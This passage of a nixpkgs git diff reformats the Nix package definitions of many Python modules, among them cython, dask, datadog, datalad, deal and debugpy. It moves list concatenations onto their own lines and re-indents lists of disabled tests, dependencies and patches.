-      "test_bdist_rpm_simple_pyproject"
-      "test_build"
-      "test_build_constants"
-      "test_build_exe_advanced"
-      "test_build_exe_asmodule"
-      "test_ctypes"
-      "test_cxfreeze"
-      "test_cxfreeze_debug_verbose"
-      "test_cxfreeze_deprecated_behavior"
-      "test_cxfreeze_deprecated_option"
-      "test_cxfreeze_include_path"
-      "test_cxfreeze_target_name_not_isidentifier"
-      "test_excludes"
-      "test_executable_namespace"
-      "test_executable_rename"
-      "test_executables"
-      "test_freezer_zip_filename"
-      "test_install"
-      "test_install_pyproject"
-      "test_multiprocessing"
-      "test_not_found_icon"
-      "test_parser"
-      "test_sqlite"
-      "test_ssl"
-      "test_tz"
-      "test_valid_icon"
-      "test_zip_exclude_packages"
-      "test_zip_include_packages"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # error: Path /nix/store/xzjghvsg4fhr2vv6h4scihsdrgk4i76w-python3-3.12.9/lib/libpython3.12.dylib
-      # is not a path referenced from DarwinFile
-      "test_bdist_dmg"
-      "test_bdist_dmg_custom_layout"
-      "test_bdist_mac"
-      "test_plist_items"
+    # Try to install a module: ValueError: ZIP does not support timestamps before 1980
+    "test___main__"
+    "test_bdist_appimage_simple"
+    "test_bdist_appimage_skip_build"
+    "test_bdist_deb_simple_pyproject"
+    "test_bdist_rpm_simple_pyproject"
+    "test_build"
+    "test_build_constants"
+    "test_build_exe_advanced"
+    "test_build_exe_asmodule"
+    "test_ctypes"
+    "test_cxfreeze"
+    "test_cxfreeze_debug_verbose"
+    "test_cxfreeze_deprecated_behavior"
+    "test_cxfreeze_deprecated_option"
+    "test_cxfreeze_include_path"
+    "test_cxfreeze_target_name_not_isidentifier"
+    "test_excludes"
+    "test_executable_namespace"
+    "test_executable_rename"
+    "test_executables"
+    "test_freezer_zip_filename"
+    "test_install"
+    "test_install_pyproject"
+    "test_multiprocessing"
+    "test_not_found_icon"
+    "test_parser"
+    "test_sqlite"
+    "test_ssl"
+    "test_tz"
+    "test_valid_icon"
+    "test_zip_exclude_packages"
+    "test_zip_include_packages"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # error: Path /nix/store/xzjghvsg4fhr2vv6h4scihsdrgk4i76w-python3-3.12.9/lib/libpython3.12.dylib
+    # is not a path referenced from DarwinFile
+    "test_bdist_dmg"
+    "test_bdist_dmg_custom_layout"
+    "test_bdist_mac"
+    "test_plist_items"
 
-      # AssertionError: assert names != []
-      "test_freezer_default_bin_includes"
-    ];
+    # AssertionError: assert names != []
+    "test_freezer_default_bin_includes"
+  ];
 
   meta = {
     description = "Set of scripts and modules for freezing Python scripts into executables";
diff --git a/pkgs/development/python-modules/cyclonedx-python-lib/default.nix b/pkgs/development/python-modules/cyclonedx-python-lib/default.nix
index a4664cb718aa..ccb8e6902db4 100644
--- a/pkgs/development/python-modules/cyclonedx-python-lib/default.nix
+++ b/pkgs/development/python-modules/cyclonedx-python-lib/default.nix
@@ -69,7 +69,8 @@ buildPythonPackage rec {
     ddt
     pytestCheckHook
     xmldiff
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "cyclonedx" ];
 
diff --git a/pkgs/development/python-modules/cyclopts/default.nix b/pkgs/development/python-modules/cyclopts/default.nix
index 81565417bae5..08dce1c408ac 100644
--- a/pkgs/development/python-modules/cyclopts/default.nix
+++ b/pkgs/development/python-modules/cyclopts/default.nix
@@ -52,7 +52,8 @@ buildPythonPackage rec {
     pytest-mock
     pytestCheckHook
     pyyaml
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "cyclopts" ];
 
diff --git a/pkgs/development/python-modules/cython/0.nix b/pkgs/development/python-modules/cython/0.nix
index 78496380abc1..f30b0b4f7452 100644
--- a/pkgs/development/python-modules/cython/0.nix
+++ b/pkgs/development/python-modules/cython/0.nix
@@ -14,22 +14,23 @@
 }:
 
 let
-  excludedTests =
-    [ "reimport_from_subinterpreter" ]
-    # cython's testsuite is not working very well with libc++
-    # We are however optimistic about things outside of testsuite still working
-    ++ lib.optionals (stdenv.cc.isClang or false) [
-      "cpdef_extern_func"
-      "libcpp_algo"
-    ]
-    # Some tests in the test suite isn't working on aarch64. Disable them for
-    # now until upstream finds a workaround.
-    # Upstream issue here: https://github.com/cython/cython/issues/2308
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [ "numpy_memoryview" ]
-    ++ lib.optionals stdenv.hostPlatform.isi686 [
-      "future_division"
-      "overflow_check_longlong"
-    ];
+  excludedTests = [
+    "reimport_from_subinterpreter"
+  ]
+  # cython's testsuite is not working very well with libc++
+  # We are however optimistic about things outside of testsuite still working
+  ++ lib.optionals (stdenv.cc.isClang or false) [
+    "cpdef_extern_func"
+    "libcpp_algo"
+  ]
+  # Some tests in the test suite isn't working on aarch64. Disable them for
+  # now until upstream finds a workaround.
+  # Upstream issue here: https://github.com/cython/cython/issues/2308
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [ "numpy_memoryview" ]
+  ++ lib.optionals stdenv.hostPlatform.isi686 [
+    "future_division"
+    "overflow_check_longlong"
+  ];
 in
 buildPythonPackage rec {
   pname = "cython";
diff --git a/pkgs/development/python-modules/cython/default.nix b/pkgs/development/python-modules/cython/default.nix
index 41c4230dc194..28e2ee2de78a 100644
--- a/pkgs/development/python-modules/cython/default.nix
+++ b/pkgs/development/python-modules/cython/default.nix
@@ -46,22 +46,23 @@ buildPythonPackage rec {
 
   checkPhase =
     let
-      excludedTests =
-        [ "reimport_from_subinterpreter" ]
-        # cython's testsuite is not working very well with libc++
-        # We are however optimistic about things outside of testsuite still working
-        ++ lib.optionals (stdenv.cc.isClang or false) [
-          "cpdef_extern_func"
-          "libcpp_algo"
-        ]
-        # Some tests in the test suite aren't working on aarch64.
-        # Disable them for now until upstream finds a workaround.
-        # Upstream issue: https://github.com/cython/cython/issues/2308
-        ++ lib.optionals stdenv.hostPlatform.isAarch64 [ "numpy_memoryview" ]
-        ++ lib.optionals stdenv.hostPlatform.isi686 [
-          "future_division"
-          "overflow_check_longlong"
-        ];
+      excludedTests = [
+        "reimport_from_subinterpreter"
+      ]
+      # cython's testsuite is not working very well with libc++
+      # We are however optimistic about things outside of testsuite still working
+      ++ lib.optionals (stdenv.cc.isClang or false) [
+        "cpdef_extern_func"
+        "libcpp_algo"
+      ]
+      # Some tests in the test suite aren't working on aarch64.
+      # Disable them for now until upstream finds a workaround.
+      # Upstream issue: https://github.com/cython/cython/issues/2308
+      ++ lib.optionals stdenv.hostPlatform.isAarch64 [ "numpy_memoryview" ]
+      ++ lib.optionals stdenv.hostPlatform.isi686 [
+        "future_division"
+        "overflow_check_longlong"
+      ];
       commandline = builtins.concatStringsSep " " (
         [
           "-j$NIX_BUILD_CORES"
diff --git a/pkgs/development/python-modules/daphne/default.nix b/pkgs/development/python-modules/daphne/default.nix
index 45f910271159..39a42efdd439 100644
--- a/pkgs/development/python-modules/daphne/default.nix
+++ b/pkgs/development/python-modules/daphne/default.nix
@@ -49,7 +49,8 @@ buildPythonPackage rec {
     asgiref
     autobahn
     twisted
-  ] ++ twisted.optional-dependencies.tls;
+  ]
+  ++ twisted.optional-dependencies.tls;
 
   nativeCheckInputs = [
     django
diff --git a/pkgs/development/python-modules/dask-awkward/default.nix b/pkgs/development/python-modules/dask-awkward/default.nix
index b5c1a486f8d8..929ce2972247 100644
--- a/pkgs/development/python-modules/dask-awkward/default.nix
+++ b/pkgs/development/python-modules/dask-awkward/default.nix
@@ -59,7 +59,8 @@ buildPythonPackage rec {
     pandas
     pytestCheckHook
     uproot
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "dask_awkward" ];
 
diff --git a/pkgs/development/python-modules/dask-glm/default.nix b/pkgs/development/python-modules/dask-glm/default.nix
index ff4eb30f6339..3801ae817917 100644
--- a/pkgs/development/python-modules/dask-glm/default.nix
+++ b/pkgs/development/python-modules/dask-glm/default.nix
@@ -48,7 +48,8 @@ buildPythonPackage rec {
     scikit-learn
     scipy
     sparse
-  ] ++ dask.optional-dependencies.array;
+  ]
+  ++ dask.optional-dependencies.array;
 
   nativeCheckInputs = [
     pytest-xdist
diff --git a/pkgs/development/python-modules/dask-jobqueue/default.nix b/pkgs/development/python-modules/dask-jobqueue/default.nix
index db3e8a4876b3..cb1749072e99 100644
--- a/pkgs/development/python-modules/dask-jobqueue/default.nix
+++ b/pkgs/development/python-modules/dask-jobqueue/default.nix
@@ -42,54 +42,53 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # Require some unavailable pytest fixtures
-      "test_adapt"
-      "test_adaptive"
-      "test_adaptive_cores_mem"
-      "test_adaptive_grouped"
-      "test_adapt_parameters"
-      "test_basic"
-      "test_basic_scale_edge_cases"
-      "test_cluster"
-      "test_cluster_error_scheduler_arguments_should_use_scheduler_options"
-      "test_cluster_has_cores_and_memory"
-      "test_command_template"
-      "test_complex_cancel_command"
-      "test_config"
-      "test_dashboard_link"
-      "test_default_number_of_worker_processes"
-      "test_deprecation_env_extra"
-      "test_deprecation_extra"
-      "test_deprecation_job_extra"
-      "test_different_interfaces_on_scheduler_and_workers"
-      "test_docstring_cluster"
-      "test_extra_args_broken_cancel"
-      "test_forward_ip"
-      "test_import_scheduler_options_from_config"
-      "test_job"
-      "test_jobqueue_job_call"
-      "test_log_directory"
-      "test_scale_cores_memory"
-      "test_scale_grouped"
-      "test_scheduler_options"
-      "test_scheduler_options_interface"
-      "test_security"
-      "test_security_temporary"
-      "test_security_temporary_defaults"
-      "test_shebang_settings"
-      "test_use_stdin"
-      "test_worker_name_uses_cluster_name"
-      "test_wrong_parameter_error"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # ValueError: invalid operation on non-started TCPListener
-      "test_header"
-      "test_lsf_unit_detection"
-      "test_lsf_unit_detection_without_file"
-      "test_runner"
-    ];
+  disabledTests = [
+    # Require some unavailable pytest fixtures
+    "test_adapt"
+    "test_adaptive"
+    "test_adaptive_cores_mem"
+    "test_adaptive_grouped"
+    "test_adapt_parameters"
+    "test_basic"
+    "test_basic_scale_edge_cases"
+    "test_cluster"
+    "test_cluster_error_scheduler_arguments_should_use_scheduler_options"
+    "test_cluster_has_cores_and_memory"
+    "test_command_template"
+    "test_complex_cancel_command"
+    "test_config"
+    "test_dashboard_link"
+    "test_default_number_of_worker_processes"
+    "test_deprecation_env_extra"
+    "test_deprecation_extra"
+    "test_deprecation_job_extra"
+    "test_different_interfaces_on_scheduler_and_workers"
+    "test_docstring_cluster"
+    "test_extra_args_broken_cancel"
+    "test_forward_ip"
+    "test_import_scheduler_options_from_config"
+    "test_job"
+    "test_jobqueue_job_call"
+    "test_log_directory"
+    "test_scale_cores_memory"
+    "test_scale_grouped"
+    "test_scheduler_options"
+    "test_scheduler_options_interface"
+    "test_security"
+    "test_security_temporary"
+    "test_security_temporary_defaults"
+    "test_shebang_settings"
+    "test_use_stdin"
+    "test_worker_name_uses_cluster_name"
+    "test_wrong_parameter_error"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # ValueError: invalid operation on non-started TCPListener
+    "test_header"
+    "test_lsf_unit_detection"
+    "test_lsf_unit_detection_without_file"
+    "test_runner"
+  ];
 
   pythonImportsCheck = [ "dask_jobqueue" ];
 
diff --git a/pkgs/development/python-modules/dask-ml/default.nix b/pkgs/development/python-modules/dask-ml/default.nix
index 0a3d34493f9f..d78a16803c21 100644
--- a/pkgs/development/python-modules/dask-ml/default.nix
+++ b/pkgs/development/python-modules/dask-ml/default.nix
@@ -41,20 +41,19 @@ buildPythonPackage rec {
     hatchling
   ];
 
-  dependencies =
-    [
-      dask-glm
-      distributed
-      multipledispatch
-      numba
-      numpy
-      packaging
-      pandas
-      scikit-learn
-      scipy
-    ]
-    ++ dask.optional-dependencies.array
-    ++ dask.optional-dependencies.dataframe;
+  dependencies = [
+    dask-glm
+    distributed
+    multipledispatch
+    numba
+    numpy
+    packaging
+    pandas
+    scikit-learn
+    scipy
+  ]
+  ++ dask.optional-dependencies.array
+  ++ dask.optional-dependencies.dataframe;
 
   pythonImportsCheck = [
     "dask_ml"
diff --git a/pkgs/development/python-modules/dask/default.nix b/pkgs/development/python-modules/dask/default.nix
index 724477ee7ffd..66aba313253c 100644
--- a/pkgs/development/python-modules/dask/default.nix
+++ b/pkgs/development/python-modules/dask/default.nix
@@ -76,19 +76,19 @@ buildPythonPackage rec {
 
   optional-dependencies = lib.fix (self: {
     array = [ numpy ];
-    complete =
-      [
-        pyarrow
-        lz4
-      ]
-      ++ self.array
-      ++ self.dataframe
-      ++ self.distributed
-      ++ self.diagnostics;
+    complete = [
+      pyarrow
+      lz4
+    ]
+    ++ self.array
+    ++ self.dataframe
+    ++ self.distributed
+    ++ self.diagnostics;
     dataframe = [
       pandas
       pyarrow
-    ] ++ self.array;
+    ]
+    ++ self.array;
     distributed = [ distributed ];
     diagnostics = [
       bokeh
@@ -96,20 +96,19 @@ buildPythonPackage rec {
     ];
   });
 
-  nativeCheckInputs =
-    [
-      hypothesis
-      pyarrow
-      pytest-asyncio
-      pytest-cov-stub
-      pytest-mock
-      pytest-rerunfailures
-      pytest-xdist
-      pytestCheckHook
-      versionCheckHook
-    ]
-    ++ optional-dependencies.array
-    ++ optional-dependencies.dataframe;
+  nativeCheckInputs = [
+    hypothesis
+    pyarrow
+    pytest-asyncio
+    pytest-cov-stub
+    pytest-mock
+    pytest-rerunfailures
+    pytest-xdist
+    pytestCheckHook
+    versionCheckHook
+  ]
+  ++ optional-dependencies.array
+  ++ optional-dependencies.dataframe;
   versionCheckProgramArg = "--version";
 
   pytestFlagsArray = [
diff --git a/pkgs/development/python-modules/dataclass-wizard/default.nix b/pkgs/development/python-modules/dataclass-wizard/default.nix
index 21a5ddcee0fa..8f44fcc1e205 100644
--- a/pkgs/development/python-modules/dataclass-wizard/default.nix
+++ b/pkgs/development/python-modules/dataclass-wizard/default.nix
@@ -30,13 +30,12 @@ buildPythonPackage rec {
     yaml = [ pyyaml ];
   };
 
-  nativeCheckInputs =
-    [
-      pytestCheckHook
-      pytest-mock
-    ]
-    ++ optional-dependencies.timedelta
-    ++ optional-dependencies.yaml;
+  nativeCheckInputs = [
+    pytestCheckHook
+    pytest-mock
+  ]
+  ++ optional-dependencies.timedelta
+  ++ optional-dependencies.yaml;
 
   disabledTests =
     [ ]
diff --git a/pkgs/development/python-modules/datadog/default.nix b/pkgs/development/python-modules/datadog/default.nix
index 9b0576b5e41c..674be1dffb8e 100644
--- a/pkgs/development/python-modules/datadog/default.nix
+++ b/pkgs/development/python-modules/datadog/default.nix
@@ -54,22 +54,21 @@ buildPythonPackage rec {
     "tests/integration/api/test_*.py"
   ];
 
-  disabledTests =
-    [
-      "test_default_settings_set"
-      # https://github.com/DataDog/datadogpy/issues/746
-      "TestDogshell"
+  disabledTests = [
+    "test_default_settings_set"
+    # https://github.com/DataDog/datadogpy/issues/746
+    "TestDogshell"
 
-      # Flaky: test execution time aganst magic values
-      "test_distributed"
-      "test_timed"
-      "test_timed_in_ms"
-      "test_timed_start_stop_calls"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # https://github.com/DataDog/datadogpy/issues/880
-      "test_timed_coroutine"
-    ];
+    # Flaky: test execution time aganst magic values
+    "test_distributed"
+    "test_timed"
+    "test_timed_in_ms"
+    "test_timed_start_stop_calls"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # https://github.com/DataDog/datadogpy/issues/880
+    "test_timed_coroutine"
+  ];
 
   pythonImportsCheck = [ "datadog" ];
 
diff --git a/pkgs/development/python-modules/datafusion/default.nix b/pkgs/development/python-modules/datafusion/default.nix
index 07961a2e2075..f19b646d6e95 100644
--- a/pkgs/development/python-modules/datafusion/default.nix
+++ b/pkgs/development/python-modules/datafusion/default.nix
@@ -57,11 +57,12 @@ buildPythonPackage rec {
     protoc
   ];
 
-  buildInputs =
-    [ protobuf ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    protobuf
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   dependencies = [
     pyarrow
diff --git a/pkgs/development/python-modules/datalad-next/default.nix b/pkgs/development/python-modules/datalad-next/default.nix
index c15a1451b544..f1a1d09d5a26 100644
--- a/pkgs/development/python-modules/datalad-next/default.nix
+++ b/pkgs/development/python-modules/datalad-next/default.nix
@@ -65,44 +65,43 @@ buildPythonPackage rec {
     unzip
   ];
 
-  disabledTests =
-    [
-      # remotes available after datalad-next install (through `console_scripts`), but not yet in $PATH during test
-      "test_uncurl_addurl_unredirected"
-      "test_uncurl"
-      "test_uncurl_ria_access"
-      "test_uncurl_store"
-      "test_uncurl_remove"
-      "test_uncurl_testremote"
-      "test_replace_add_archive_content"
-      "test_annex_remote"
-      "test_export_remote"
-      "test_annex_remote_autorepush"
-      "test_export_remote_autorepush"
-      "test_typeweb_annex"
-      "test_typeweb_annex_uncompressed"
-      "test_typeweb_export"
-      "test_submodule_url"
-      "test_uncurl_progress_reporting_to_annex"
-      "test_archivist_retrieval"
-      "test_archivist_retrieval_legacy"
+  disabledTests = [
+    # remotes available after datalad-next install (through `console_scripts`), but not yet in $PATH during test
+    "test_uncurl_addurl_unredirected"
+    "test_uncurl"
+    "test_uncurl_ria_access"
+    "test_uncurl_store"
+    "test_uncurl_remove"
+    "test_uncurl_testremote"
+    "test_replace_add_archive_content"
+    "test_annex_remote"
+    "test_export_remote"
+    "test_annex_remote_autorepush"
+    "test_export_remote_autorepush"
+    "test_typeweb_annex"
+    "test_typeweb_annex_uncompressed"
+    "test_typeweb_export"
+    "test_submodule_url"
+    "test_uncurl_progress_reporting_to_annex"
+    "test_archivist_retrieval"
+    "test_archivist_retrieval_legacy"
 
-      # hardcoded /bin path
-      "test_auto_if_wanted_data_transfer_path_restriction"
+    # hardcoded /bin path
+    "test_auto_if_wanted_data_transfer_path_restriction"
 
-      # requires internet access
-      "test_push_wanted"
-      "test_auto_data_transfer"
-      "test_http_url_operations"
-      "test_transparent_decompression"
-      "test_compressed_file_stay_compressed"
-      "test_ls_file_collection_tarfile"
-      "test_iter_tar"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # RuntimeError
-      "test_tree_with_broken_symlinks"
-    ];
+    # requires internet access
+    "test_push_wanted"
+    "test_auto_data_transfer"
+    "test_http_url_operations"
+    "test_transparent_decompression"
+    "test_compressed_file_stay_compressed"
+    "test_ls_file_collection_tarfile"
+    "test_iter_tar"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # RuntimeError
+    "test_tree_with_broken_symlinks"
+  ];
 
   disabledTestPaths = [
     # requires internet access
diff --git a/pkgs/development/python-modules/datalad/default.nix b/pkgs/development/python-modules/datalad/default.nix
index d7e11df94ade..1a95e57160c2 100644
--- a/pkgs/development/python-modules/datalad/default.nix
+++ b/pkgs/development/python-modules/datalad/default.nix
@@ -82,23 +82,22 @@ buildPythonPackage rec {
     optional-dependencies.core ++ optional-dependencies.downloaders ++ optional-dependencies.publish;
 
   optional-dependencies = {
-    core =
-      [
-        platformdirs
-        chardet
-        distro
-        iso8601
-        humanize
-        fasteners
-        packaging
-        patool
-        tqdm
-        annexremote
-        looseversion
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isWindows [ colorama ]
-      ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ]
-      ++ lib.optionals (pythonOlder "3.11") [ typing-extensions ];
+    core = [
+      platformdirs
+      chardet
+      distro
+      iso8601
+      humanize
+      fasteners
+      packaging
+      patool
+      tqdm
+      annexremote
+      looseversion
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isWindows [ colorama ]
+    ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ]
+    ++ lib.optionals (pythonOlder "3.11") [ typing-extensions ];
     downloaders = [
       boto3
       keyrings-alt
diff --git a/pkgs/development/python-modules/dataproperty/default.nix b/pkgs/development/python-modules/dataproperty/default.nix
index 050d0351fff3..172f5799b551 100644
--- a/pkgs/development/python-modules/dataproperty/default.nix
+++ b/pkgs/development/python-modules/dataproperty/default.nix
@@ -32,7 +32,8 @@ buildPythonPackage rec {
     mbstrdecoder
     typepy
     tcolorpy
-  ] ++ typepy.optional-dependencies.datetime;
+  ]
+  ++ typepy.optional-dependencies.datetime;
 
   optional-dependencies = {
     logging = [ loguru ];
diff --git a/pkgs/development/python-modules/dateparser/default.nix b/pkgs/development/python-modules/dateparser/default.nix
index 87f08f29a55f..3a35dd0128d6 100644
--- a/pkgs/development/python-modules/dateparser/default.nix
+++ b/pkgs/development/python-modules/dateparser/default.nix
@@ -60,7 +60,8 @@ buildPythonPackage rec {
     parsel
     requests
     ruamel-yaml
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   preCheck = ''
     export HOME="$TEMPDIR"
diff --git a/pkgs/development/python-modules/dbt-adapters/default.nix b/pkgs/development/python-modules/dbt-adapters/default.nix
index 4f4e354eff45..697b9e7a532f 100644
--- a/pkgs/development/python-modules/dbt-adapters/default.nix
+++ b/pkgs/development/python-modules/dbt-adapters/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
     protobuf
     pytz
     typing-extensions
-  ] ++ mashumaro.optional-dependencies.msgpack;
+  ]
+  ++ mashumaro.optional-dependencies.msgpack;
 
   pythonImportsCheck = [ "dbt.adapters" ];
 
diff --git a/pkgs/development/python-modules/dbt-common/default.nix b/pkgs/development/python-modules/dbt-common/default.nix
index 6164495bd4e7..80c7007b7ff3 100644
--- a/pkgs/development/python-modules/dbt-common/default.nix
+++ b/pkgs/development/python-modules/dbt-common/default.nix
@@ -62,7 +62,8 @@ buildPythonPackage rec {
     python-dateutil
     requests
     typing-extensions
-  ] ++ mashumaro.optional-dependencies.msgpack;
+  ]
+  ++ mashumaro.optional-dependencies.msgpack;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/dbt-core/default.nix b/pkgs/development/python-modules/dbt-core/default.nix
index fb57ff19af1c..2f6937cda7f2 100644
--- a/pkgs/development/python-modules/dbt-core/default.nix
+++ b/pkgs/development/python-modules/dbt-core/default.nix
@@ -96,7 +96,8 @@ buildPythonPackage rec {
     snowplow-tracker
     sqlparse
     typing-extensions
-  ] ++ mashumaro.optional-dependencies.msgpack;
+  ]
+  ++ mashumaro.optional-dependencies.msgpack;
 
   # tests exist for the dbt tool but not for this package specifically
   doCheck = false;
diff --git a/pkgs/development/python-modules/dbt-snowflake/default.nix b/pkgs/development/python-modules/dbt-snowflake/default.nix
index dca1e20eb930..40bb037c5e9c 100644
--- a/pkgs/development/python-modules/dbt-snowflake/default.nix
+++ b/pkgs/development/python-modules/dbt-snowflake/default.nix
@@ -25,7 +25,8 @@ buildPythonPackage rec {
   dependencies = [
     dbt-core
     snowflake-connector-python
-  ] ++ snowflake-connector-python.optional-dependencies.secure-local-storage;
+  ]
+  ++ snowflake-connector-python.optional-dependencies.secure-local-storage;
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/deal-solver/default.nix b/pkgs/development/python-modules/deal-solver/default.nix
index 9aff8a2c598c..14d5074a0500 100644
--- a/pkgs/development/python-modules/deal-solver/default.nix
+++ b/pkgs/development/python-modules/deal-solver/default.nix
@@ -34,7 +34,8 @@ buildPythonPackage rec {
   dependencies = [
     z3-solver
     astroid
-  ] ++ z3-solver.requiredPythonModules;
+  ]
+  ++ z3-solver.requiredPythonModules;
 
   nativeCheckInputs = [
     hypothesis
diff --git a/pkgs/development/python-modules/deal/default.nix b/pkgs/development/python-modules/deal/default.nix
index adb9759e92d6..dc8a622f4772 100644
--- a/pkgs/development/python-modules/deal/default.nix
+++ b/pkgs/development/python-modules/deal/default.nix
@@ -53,34 +53,33 @@ buildPythonPackage rec {
     vaa
   ];
 
-  disabledTests =
-    [
-      # Tests need internet access
-      "test_smoke_has"
-      "test_pure_offline"
-      "test_raises_doesnt_override_another_contract"
-      "test_raises_doesnt_override_another_contract_async"
-      "test_raises_generator"
-      # AttributeError: module 'vaa' has no attribute 'Error'
-      "test_source_vaa_scheme"
-      "test_vaa_scheme_and_custom_exception"
-      "test_scheme_string_validation_args_correct"
-      "test_method_chain_decorator_with_scheme_is_fulfilled"
-      "test_scheme_contract_is_satisfied_when_setting_arg"
-      "test_scheme_contract_is_satisfied_within_chain"
-      "test_scheme_errors_rewrite_message"
-      # assert errors
-      "test_doctest"
-      "test_no_violations"
-      "test_source_get_lambda_multiline_splitted_dec"
-      # assert basically correct but fails in string match due to '' removed
-      "test_unknown_command"
-    ]
-    ++ lib.optional (pythonAtLeast "3.13") [
-      # assert basically correct but string match fails in due to
-      # ('pathlib._local', 'Path.write_text') != ('pathlib', 'Path.write_text')
-      "test_infer"
-    ];
+  disabledTests = [
+    # Tests need internet access
+    "test_smoke_has"
+    "test_pure_offline"
+    "test_raises_doesnt_override_another_contract"
+    "test_raises_doesnt_override_another_contract_async"
+    "test_raises_generator"
+    # AttributeError: module 'vaa' has no attribute 'Error'
+    "test_source_vaa_scheme"
+    "test_vaa_scheme_and_custom_exception"
+    "test_scheme_string_validation_args_correct"
+    "test_method_chain_decorator_with_scheme_is_fulfilled"
+    "test_scheme_contract_is_satisfied_when_setting_arg"
+    "test_scheme_contract_is_satisfied_within_chain"
+    "test_scheme_errors_rewrite_message"
+    # assert errors
+    "test_doctest"
+    "test_no_violations"
+    "test_source_get_lambda_multiline_splitted_dec"
+    # assert basically correct but fails in string match due to '' removed
+    "test_unknown_command"
+  ]
+  ++ lib.optional (pythonAtLeast "3.13") [
+    # assert basically correct but string match fails in due to
+    # ('pathlib._local', 'Path.write_text') != ('pathlib', 'Path.write_text')
+    "test_infer"
+  ];
 
   disabledTestPaths = [
     # Test needs internet access
diff --git a/pkgs/development/python-modules/debuglater/default.nix b/pkgs/development/python-modules/debuglater/default.nix
index 83e06a5fd5e2..2dea26d5e7b9 100644
--- a/pkgs/development/python-modules/debuglater/default.nix
+++ b/pkgs/development/python-modules/debuglater/default.nix
@@ -34,7 +34,8 @@ buildPythonPackage rec {
     numpy
     pandas
     pytestCheckHook
-  ] ++ optional-dependencies.all;
+  ]
+  ++ optional-dependencies.all;
 
   pythonImportsCheck = [ "debuglater" ];
 
diff --git a/pkgs/development/python-modules/debugpy/default.nix b/pkgs/development/python-modules/debugpy/default.nix
index 61ff197c524e..1acf42922568 100644
--- a/pkgs/development/python-modules/debugpy/default.nix
+++ b/pkgs/development/python-modules/debugpy/default.nix
@@ -37,41 +37,40 @@ buildPythonPackage rec {
     hash = "sha256-IOR6Dbbg/HK4/1re0BEWafwmpBMnQJCo5ojDMB2KgV4=";
   };
 
-  patches =
-    [
-      # Use nixpkgs version instead of versioneer
-      (replaceVars ./hardcode-version.patch {
-        inherit version;
-      })
+  patches = [
+    # Use nixpkgs version instead of versioneer
+    (replaceVars ./hardcode-version.patch {
+      inherit version;
+    })
 
-      # Fix importing debugpy in:
-      # - test_nodebug[module-launch(externalTerminal)]
-      # - test_nodebug[module-launch(integratedTerminal)]
-      #
-      # NOTE: The import failures seen in these tests without the patch
-      # will be seen if a user "installs" debugpy by adding it to PYTHONPATH.
-      # To avoid this issue, debugpy should be installed using python.withPackages:
-      # python.withPackages (ps: with ps; [ debugpy ])
-      ./fix-test-pythonpath.patch
+    # Fix importing debugpy in:
+    # - test_nodebug[module-launch(externalTerminal)]
+    # - test_nodebug[module-launch(integratedTerminal)]
+    #
+    # NOTE: The import failures seen in these tests without the patch
+    # will be seen if a user "installs" debugpy by adding it to PYTHONPATH.
+    # To avoid this issue, debugpy should be installed using python.withPackages:
+    # python.withPackages (ps: with ps; [ debugpy ])
+    ./fix-test-pythonpath.patch
 
-      # Attach pid tests are disabled by default on windows & macos,
-      # but are also flaky on linux:
-      # - https://github.com/NixOS/nixpkgs/issues/262000
-      # - https://github.com/NixOS/nixpkgs/issues/251045
-      ./skip-attach-pid-tests.patch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # Hard code GDB path (used to attach to process)
-      (replaceVars ./hardcode-gdb.patch {
-        inherit gdb;
-      })
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Hard code LLDB path (used to attach to process)
-      (replaceVars ./hardcode-lldb.patch {
-        inherit lldb;
-      })
-    ];
+    # Attach pid tests are disabled by default on windows & macos,
+    # but are also flaky on linux:
+    # - https://github.com/NixOS/nixpkgs/issues/262000
+    # - https://github.com/NixOS/nixpkgs/issues/251045
+    ./skip-attach-pid-tests.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # Hard code GDB path (used to attach to process)
+    (replaceVars ./hardcode-gdb.patch {
+      inherit gdb;
+    })
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Hard code LLDB path (used to attach to process)
+    (replaceVars ./hardcode-lldb.patch {
+      inherit lldb;
+    })
+  ];
 
   # Compile attach library for host platform
   # Derived from linux_and_mac/compile_linux.sh & linux_and_mac/compile_mac.sh
@@ -116,15 +115,14 @@ buildPythonPackage rec {
     typing-extensions
   ];
 
-  preCheck =
-    ''
-      export DEBUGPY_PROCESS_SPAWN_TIMEOUT=0
-      export DEBUGPY_PROCESS_EXIT_TIMEOUT=0
-    ''
